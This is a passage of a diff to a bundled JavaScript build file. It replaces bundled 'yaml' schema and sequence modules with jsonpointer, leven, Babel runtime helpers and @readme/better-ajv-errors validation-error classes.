"{", end: "}" }, - itemIndent: ctx.indent || "", - onChompKeep, - onComment - }); + throw new Error("Invalid JSON pointer."); + } + function get4(obj, pointer) { + if (typeof obj !== "object") + throw new Error("Invalid input object."); + pointer = compilePointer(pointer); + var len = pointer.length; + if (len === 1) + return obj; + for (var p7 = 1; p7 < len; ) { + obj = obj[untilde4(pointer[p7++])]; + if (len === p7) + return obj; + if (typeof obj !== "object" || obj === null) + return void 0; } - }; - } -}); - -// node_modules/yaml/browser/dist/schema/common/map.js -var map; -var init_map = __esm({ - "node_modules/yaml/browser/dist/schema/common/map.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_YAMLMap(); - map = { - collection: "map", - default: true, - nodeClass: YAMLMap, - tag: "tag:yaml.org,2002:map", - resolve(map4, onError) { - if (!isMap(map4)) - onError("Expected a mapping for this tag"); - return map4; - }, - createNode: (schema8, obj, ctx) => YAMLMap.from(schema8, obj, ctx) - }; + } + function set4(obj, pointer, value2) { + if (typeof obj !== "object") + throw new Error("Invalid input object."); + pointer = compilePointer(pointer); + if (pointer.length === 0) + throw new Error("Invalid JSON pointer for set."); + return setter(obj, pointer, value2); + } + function compile(pointer) { + var compiled = compilePointer(pointer); + return { + get: function(object) { + return get4(object, compiled); + }, + set: function(object, value2) { + return set4(object, compiled, value2); + } + }; + } + exports28.get = get4; + exports28.set = set4; + exports28.compile = compile; } }); -// node_modules/yaml/browser/dist/nodes/YAMLSeq.js -function asItemIndex(key) { - let idx = isScalar(key) ? key.value : key; - if (idx && typeof idx === "string") - idx = Number(idx); - return typeof idx === "number" && Number.isInteger(idx) && idx >= 0 ? idx : null; -} -var YAMLSeq; -var init_YAMLSeq = __esm({ - "node_modules/yaml/browser/dist/nodes/YAMLSeq.js"() { +// node_modules/leven/index.js +var require_leven = __commonJS({ + "node_modules/leven/index.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_createNode(); - init_stringifyCollection(); - init_Collection(); - init_identity(); - init_Scalar(); - init_toJS(); - YAMLSeq = class extends Collection { - static get tagName() { - return "tag:yaml.org,2002:seq"; - } - constructor(schema8) { - super(SEQ, schema8); - this.items = []; - } - add(value2) { - this.items.push(value2); + var array = []; + var charCodeCache = []; + var leven = (left, right) => { + if (left === right) { + return 0; } - /** - * Removes a value from the collection. - * - * `key` must contain a representation of an integer for this to succeed. - * It may be wrapped in a `Scalar`. - * - * @returns `true` if the item was found and removed. - */ - delete(key) { - const idx = asItemIndex(key); - if (typeof idx !== "number") - return false; - const del = this.items.splice(idx, 1); - return del.length > 0; + const swap = left; + if (left.length > right.length) { + left = right; + right = swap; } - get(key, keepScalar) { - const idx = asItemIndex(key); - if (typeof idx !== "number") - return void 0; - const it2 = this.items[idx]; - return !keepScalar && isScalar(it2) ? it2.value : it2; + let leftLength = left.length; + let rightLength = right.length; + while (leftLength > 0 && left.charCodeAt(~-leftLength) === right.charCodeAt(~-rightLength)) { + leftLength--; + rightLength--; } - /** - * Checks if the collection includes a value with the key `key`. - * - * `key` must contain a representation of an integer for this to succeed. - * It may be wrapped in a `Scalar`. - */ - has(key) { - const idx = asItemIndex(key); - return typeof idx === "number" && idx < this.items.length; + let start = 0; + while (start < leftLength && left.charCodeAt(start) === right.charCodeAt(start)) { + start++; } - /** - * Sets a value in this collection. For `!!set`, `value` needs to be a - * boolean to add/remove the item from the set. - * - * If `key` does not contain a representation of an integer, this will throw. - * It may be wrapped in a `Scalar`. - */ - set(key, value2) { - const idx = asItemIndex(key); - if (typeof idx !== "number") - throw new Error(`Expected a valid index, not ${key}.`); - const prev = this.items[idx]; - if (isScalar(prev) && isScalarValue(value2)) - prev.value = value2; - else - this.items[idx] = value2; + leftLength -= start; + rightLength -= start; + if (leftLength === 0) { + return rightLength; } - toJSON(_6, ctx) { - const seq3 = []; - if (ctx?.onCreate) - ctx.onCreate(seq3); - let i7 = 0; - for (const item of this.items) - seq3.push(toJS(item, String(i7++), ctx)); - return seq3; - } - toString(ctx, onComment, onChompKeep) { - if (!ctx) - return JSON.stringify(this); - return stringifyCollection(this, ctx, { - blockItemPrefix: "- ", - flowChars: { start: "[", end: "]" }, - itemIndent: (ctx.indent || "") + " ", - onChompKeep, - onComment - }); + let bCharCode; + let result2; + let temp; + let temp2; + let i7 = 0; + let j6 = 0; + while (i7 < leftLength) { + charCodeCache[i7] = left.charCodeAt(start + i7); + array[i7] = ++i7; } - static from(schema8, obj, ctx) { - const { replacer } = ctx; - const seq3 = new this(schema8); - if (obj && Symbol.iterator in Object(obj)) { - let i7 = 0; - for (let it2 of obj) { - if (typeof replacer === "function") { - const key = obj instanceof Set ? it2 : String(i7++); - it2 = replacer.call(obj, key, it2); - } - seq3.items.push(createNode(it2, void 0, ctx)); - } + while (j6 < rightLength) { + bCharCode = right.charCodeAt(start + j6); + temp = j6++; + result2 = j6; + for (i7 = 0; i7 < leftLength; i7++) { + temp2 = bCharCode === charCodeCache[i7] ? temp : temp + 1; + temp = array[i7]; + result2 = array[i7] = temp > result2 ? temp2 > result2 ? result2 + 1 : temp2 : temp2 > temp ? temp + 1 : temp2; } - return seq3; } + return result2; }; + module5.exports = leven; + module5.exports.default = leven; } }); -// node_modules/yaml/browser/dist/schema/common/seq.js -var seq; -var init_seq = __esm({ - "node_modules/yaml/browser/dist/schema/common/seq.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/enum.js +var require_enum = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/enum.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_YAMLSeq(); - seq = { - collection: "seq", - default: true, - nodeClass: YAMLSeq, - tag: "tag:yaml.org,2002:seq", - resolve(seq3, onError) { - if (!isSeq(seq3)) - onError("Expected a sequence for this tag"); - return seq3; - }, - createNode: (schema8, obj, ctx) => YAMLSeq.from(schema8, obj, ctx) - }; + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _jsonpointer = _interopRequireDefault(require_jsonpointer()); + var _leven = _interopRequireDefault(require_leven()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); + } + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); + } + return e10; + } + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); + } + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { + } + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); + } + var EnumValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function EnumValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, EnumValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, EnumValidationError2, [].concat(args)); + _this.name = "EnumValidationError"; + return _this; + } + (0, _inherits22["default"])(EnumValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(EnumValidationError2, [{ + key: "print", + value: function print() { + var _this$options = this.options, message = _this$options.message, allowedValues = _this$options.params.allowedValues; + var colorizer = this.getColorizer(); + var bestMatch = this.findBestMatch(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold("ENUM"), " ").concat(message))), "".concat(colorizer.red("(".concat(allowedValues.join(", "), ")")), "\n")]; + return output.concat(this.getCodeFrame(bestMatch !== null ? "Did you mean ".concat(colorizer.magentaBright(bestMatch), " here?") : "Unexpected value, should be equal to one of the allowed values")); + } + }, { + key: "getError", + value: function getError() { + var _this$options2 = this.options, message = _this$options2.message, params = _this$options2.params; + var bestMatch = this.findBestMatch(); + var allowedValues = params.allowedValues.join(", "); + var output = _objectSpread(_objectSpread({}, this.getLocation()), {}, { + error: "".concat(this.getDecoratedPath(), " ").concat(message, ": ").concat(allowedValues), + path: this.instancePath + }); + if (bestMatch !== null) { + output.suggestion = "Did you mean ".concat(bestMatch, "?"); + } + return output; + } + }, { + key: "findBestMatch", + value: function findBestMatch() { + var allowedValues = this.options.params.allowedValues; + var currentValue = this.instancePath === "" ? this.data : _jsonpointer["default"].get(this.data, this.instancePath); + if (!currentValue) { + return null; + } + var bestMatch = allowedValues.map(function(value2) { + return { + value: value2, + weight: (0, _leven["default"])(value2, currentValue.toString()) + }; + }).sort(function(x7, y7) { + return x7.weight > y7.weight ? 1 : x7.weight < y7.weight ? -1 : 0; + })[0]; + return allowedValues.length === 1 || bestMatch.weight < bestMatch.value.length ? bestMatch.value : null; + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/schema/common/string.js -var string; -var init_string = __esm({ - "node_modules/yaml/browser/dist/schema/common/string.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/pattern.js +var require_pattern = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/pattern.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_stringifyString(); - string = { - identify: (value2) => typeof value2 === "string", - default: true, - tag: "tag:yaml.org,2002:str", - resolve: (str2) => str2, - stringify(item, ctx, onComment, onChompKeep) { - ctx = Object.assign({ actualString: true }, ctx); - return stringifyString(item, ctx, onComment, onChompKeep); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); } - }; + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); + } + return e10; + } + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); + } + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { + } + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); + } + var PatternValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function PatternValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, PatternValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, PatternValidationError2, [].concat(args)); + _this.name = "PatternValidationError"; + _this.options.isIdentifierLocation = true; + return _this; + } + (0, _inherits22["default"])(PatternValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(PatternValidationError2, [{ + key: "print", + value: function print() { + var _this$options = this.options, message = _this$options.message, params = _this$options.params, propertyName = _this$options.propertyName; + var colorizer = this.getColorizer(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold("PROPERTY"), " ").concat(message)), "\n")]; + return output.concat(this.getCodeFrame("must match pattern ".concat(colorizer.magentaBright(params.pattern)), propertyName ? "".concat(this.instancePath, "/").concat(propertyName) : this.instancePath)); + } + }, { + key: "getError", + value: function getError() { + var _this$options2 = this.options, params = _this$options2.params, propertyName = _this$options2.propertyName; + return _objectSpread(_objectSpread({}, this.getLocation()), {}, { + error: "".concat(this.getDecoratedPath(), ' Property "').concat(propertyName, '" must match pattern ').concat(params.pattern), + path: this.instancePath + }); + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/schema/common/null.js -var nullTag; -var init_null = __esm({ - "node_modules/yaml/browser/dist/schema/common/null.js"() { +// node_modules/@babel/runtime/helpers/superPropBase.js +var require_superPropBase = __commonJS({ + "node_modules/@babel/runtime/helpers/superPropBase.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - nullTag = { - identify: (value2) => value2 == null, - createNode: () => new Scalar(null), - default: true, - tag: "tag:yaml.org,2002:null", - test: /^(?:~|[Nn]ull|NULL)?$/, - resolve: () => new Scalar(null), - stringify: ({ source }, ctx) => typeof source === "string" && nullTag.test.test(source) ? source : ctx.options.nullStr - }; + var getPrototypeOf = require_getPrototypeOf(); + function _superPropBase(t8, o7) { + for (; !{}.hasOwnProperty.call(t8, o7) && null !== (t8 = getPrototypeOf(t8)); ) + ; + return t8; + } + module5.exports = _superPropBase, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/schema/core/bool.js -var boolTag; -var init_bool = __esm({ - "node_modules/yaml/browser/dist/schema/core/bool.js"() { +// node_modules/@babel/runtime/helpers/get.js +var require_get = __commonJS({ + "node_modules/@babel/runtime/helpers/get.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - boolTag = { - identify: (value2) => typeof value2 === "boolean", - default: true, - tag: "tag:yaml.org,2002:bool", - test: /^(?:[Tt]rue|TRUE|[Ff]alse|FALSE)$/, - resolve: (str2) => new Scalar(str2[0] === "t" || str2[0] === "T"), - stringify({ source, value: value2 }, ctx) { - if (source && boolTag.test.test(source)) { - const sv = source[0] === "t" || source[0] === "T"; - if (value2 === sv) - return source; + var superPropBase = require_superPropBase(); + function _get() { + return module5.exports = _get = "undefined" != typeof Reflect && Reflect.get ? Reflect.get.bind() : function(e10, t8, r8) { + var p7 = superPropBase(e10, t8); + if (p7) { + var n7 = Object.getOwnPropertyDescriptor(p7, t8); + return n7.get ? n7.get.call(arguments.length < 3 ? e10 : r8) : n7.value; } - return value2 ? ctx.options.trueStr : ctx.options.falseStr; - } - }; - } -}); - -// node_modules/yaml/browser/dist/stringify/stringifyNumber.js -function stringifyNumber({ format: format5, minFractionDigits, tag, value: value2 }) { - if (typeof value2 === "bigint") - return String(value2); - const num = typeof value2 === "number" ? value2 : Number(value2); - if (!isFinite(num)) - return isNaN(num) ? ".nan" : num < 0 ? "-.inf" : ".inf"; - let n7 = JSON.stringify(value2); - if (!format5 && minFractionDigits && (!tag || tag === "tag:yaml.org,2002:float") && /^\d/.test(n7)) { - let i7 = n7.indexOf("."); - if (i7 < 0) { - i7 = n7.length; - n7 += "."; + }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _get.apply(null, arguments); } - let d7 = minFractionDigits - (n7.length - i7 - 1); - while (d7-- > 0) - n7 += "0"; - } - return n7; -} -var init_stringifyNumber = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyNumber.js"() { - init_dirname(); - init_buffer2(); - init_process2(); + module5.exports = _get, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/schema/core/float.js -var floatNaN, floatExp, float; -var init_float = __esm({ - "node_modules/yaml/browser/dist/schema/core/float.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/required.js +var require_required = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/required.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - init_stringifyNumber(); - floatNaN = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - test: /^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/, - resolve: (str2) => str2.slice(-3).toLowerCase() === "nan" ? NaN : str2[0] === "-" ? Number.NEGATIVE_INFINITY : Number.POSITIVE_INFINITY, - stringify: stringifyNumber - }; - floatExp = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - format: "EXP", - test: /^[-+]?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)[eE][-+]?[0-9]+$/, - resolve: (str2) => parseFloat(str2), - stringify(node) { - const num = Number(node.value); - return isFinite(num) ? num.toExponential() : stringifyNumber(node); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _get2 = _interopRequireDefault(require_get()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); } - }; - float = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - test: /^[-+]?(?:\.[0-9]+|[0-9]+\.[0-9]*)$/, - resolve(str2) { - const node = new Scalar(parseFloat(str2)); - const dot = str2.indexOf("."); - if (dot !== -1 && str2[str2.length - 1] === "0") - node.minFractionDigits = str2.length - dot - 1; - return node; - }, - stringify: stringifyNumber - }; - } -}); - -// node_modules/yaml/browser/dist/schema/core/int.js -function intStringify(node, radix, prefix) { - const { value: value2 } = node; - if (intIdentify(value2) && value2 >= 0) - return prefix + value2.toString(radix); - return stringifyNumber(node); -} -var intIdentify, intResolve, intOct, int, intHex; -var init_int = __esm({ - "node_modules/yaml/browser/dist/schema/core/int.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_stringifyNumber(); - intIdentify = (value2) => typeof value2 === "bigint" || Number.isInteger(value2); - intResolve = (str2, offset, radix, { intAsBigInt }) => intAsBigInt ? BigInt(str2) : parseInt(str2.substring(offset), radix); - intOct = { - identify: (value2) => intIdentify(value2) && value2 >= 0, - default: true, - tag: "tag:yaml.org,2002:int", - format: "OCT", - test: /^0o[0-7]+$/, - resolve: (str2, _onError, opt) => intResolve(str2, 2, 8, opt), - stringify: (node) => intStringify(node, 8, "0o") - }; - int = { - identify: intIdentify, - default: true, - tag: "tag:yaml.org,2002:int", - test: /^[-+]?[0-9]+$/, - resolve: (str2, _onError, opt) => intResolve(str2, 0, 10, opt), - stringify: stringifyNumber - }; - intHex = { - identify: (value2) => intIdentify(value2) && value2 >= 0, - default: true, - tag: "tag:yaml.org,2002:int", - format: "HEX", - test: /^0x[0-9a-fA-F]+$/, - resolve: (str2, _onError, opt) => intResolve(str2, 2, 16, opt), - stringify: (node) => intStringify(node, 16, "0x") - }; + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); + } + return e10; + } + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); + } + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { + } + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); + } + function _superPropGet(t8, o7, e10, r8) { + var p7 = (0, _get2["default"])((0, _getPrototypeOf22["default"])(1 & r8 ? t8.prototype : t8), o7, e10); + return 2 & r8 && "function" == typeof p7 ? function(t9) { + return p7.apply(e10, t9); + } : p7; + } + var RequiredValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function RequiredValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, RequiredValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, RequiredValidationError2, [].concat(args)); + _this.name = "RequiredValidationError"; + return _this; + } + (0, _inherits22["default"])(RequiredValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(RequiredValidationError2, [{ + key: "getLocation", + value: function getLocation2() { + var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; + var _superPropGet2 = _superPropGet(RequiredValidationError2, "getLocation", this, 3)([dataPath]), start = _superPropGet2.start; + return { + start + }; + } + }, { + key: "print", + value: function print() { + var _this$options = this.options, message = _this$options.message, params = _this$options.params; + var colorizer = this.getColorizer(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold("REQUIRED"), " ").concat(message)), "\n")]; + return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.missingProperty), " is missing here!"))); + } + }, { + key: "getError", + value: function getError() { + var message = this.options.message; + return _objectSpread(_objectSpread({}, this.getLocation()), {}, { + error: "".concat(this.getDecoratedPath(), " ").concat(message), + path: this.instancePath + }); + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/schema/core/schema.js -var schema; -var init_schema = __esm({ - "node_modules/yaml/browser/dist/schema/core/schema.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/unevaluated-prop.js +var require_unevaluated_prop = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/unevaluated-prop.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_map(); - init_null(); - init_seq(); - init_string(); - init_bool(); - init_float(); - init_int(); - schema = [ - map, - seq, - string, - nullTag, - boolTag, - intOct, - int, - intHex, - floatNaN, - floatExp, - float - ]; + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); + } + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); + } + return e10; + } + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); + } + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { + } + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); + } + var UnevaluatedPropValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function UnevaluatedPropValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, UnevaluatedPropValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, UnevaluatedPropValidationError2, [].concat(args)); + _this.name = "UnevaluatedPropValidationError"; + _this.options.isIdentifierLocation = true; + return _this; + } + (0, _inherits22["default"])(UnevaluatedPropValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(UnevaluatedPropValidationError2, [{ + key: "print", + value: function print() { + var _this$options = this.options, message = _this$options.message, params = _this$options.params; + var colorizer = this.getColorizer(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold("UNEVALUATED PROPERTY"), " ").concat(message)), "\n")]; + return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.unevaluatedProperty), " is not expected to be here!"), "".concat(this.instancePath, "/").concat(params.unevaluatedProperty))); + } + }, { + key: "getError", + value: function getError() { + var params = this.options.params; + return _objectSpread(_objectSpread({}, this.getLocation("".concat(this.instancePath, "/").concat(params.unevaluatedProperty))), {}, { + error: "".concat(this.getDecoratedPath(), " Property ").concat(params.unevaluatedProperty, " is not expected to be here"), + path: this.instancePath + }); + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/schema/json/schema.js -function intIdentify2(value2) { - return typeof value2 === "bigint" || Number.isInteger(value2); -} -var stringifyJSON, jsonScalars, jsonError, schema2; -var init_schema2 = __esm({ - "node_modules/yaml/browser/dist/schema/json/schema.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/index.js +var require_validation_errors = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - init_map(); - init_seq(); - stringifyJSON = ({ value: value2 }) => JSON.stringify(value2); - jsonScalars = [ - { - identify: (value2) => typeof value2 === "string", - default: true, - tag: "tag:yaml.org,2002:str", - resolve: (str2) => str2, - stringify: stringifyJSON - }, - { - identify: (value2) => value2 == null, - createNode: () => new Scalar(null), - default: true, - tag: "tag:yaml.org,2002:null", - test: /^null$/, - resolve: () => null, - stringify: stringifyJSON - }, - { - identify: (value2) => typeof value2 === "boolean", - default: true, - tag: "tag:yaml.org,2002:bool", - test: /^true$|^false$/, - resolve: (str2) => str2 === "true", - stringify: stringifyJSON - }, - { - identify: intIdentify2, - default: true, - tag: "tag:yaml.org,2002:int", - test: /^-?(?:0|[1-9][0-9]*)$/, - resolve: (str2, _onError, { intAsBigInt }) => intAsBigInt ? BigInt(str2) : parseInt(str2, 10), - stringify: ({ value: value2 }) => intIdentify2(value2) ? value2.toString() : JSON.stringify(value2) - }, - { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - test: /^-?(?:0|[1-9][0-9]*)(?:\.[0-9]*)?(?:[eE][-+]?[0-9]+)?$/, - resolve: (str2) => parseFloat(str2), - stringify: stringifyJSON + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + Object.defineProperty(exports28, "AdditionalPropValidationError", { + enumerable: true, + get: function get4() { + return _additionalProp["default"]; } - ]; - jsonError = { - default: true, - tag: "", - test: /^/, - resolve(str2, onError) { - onError(`Unresolved plain scalar ${JSON.stringify(str2)}`); - return str2; + }); + Object.defineProperty(exports28, "DefaultValidationError", { + enumerable: true, + get: function get4() { + return _default2["default"]; } - }; - schema2 = [map, seq].concat(jsonScalars, jsonError); + }); + Object.defineProperty(exports28, "EnumValidationError", { + enumerable: true, + get: function get4() { + return _enum["default"]; + } + }); + 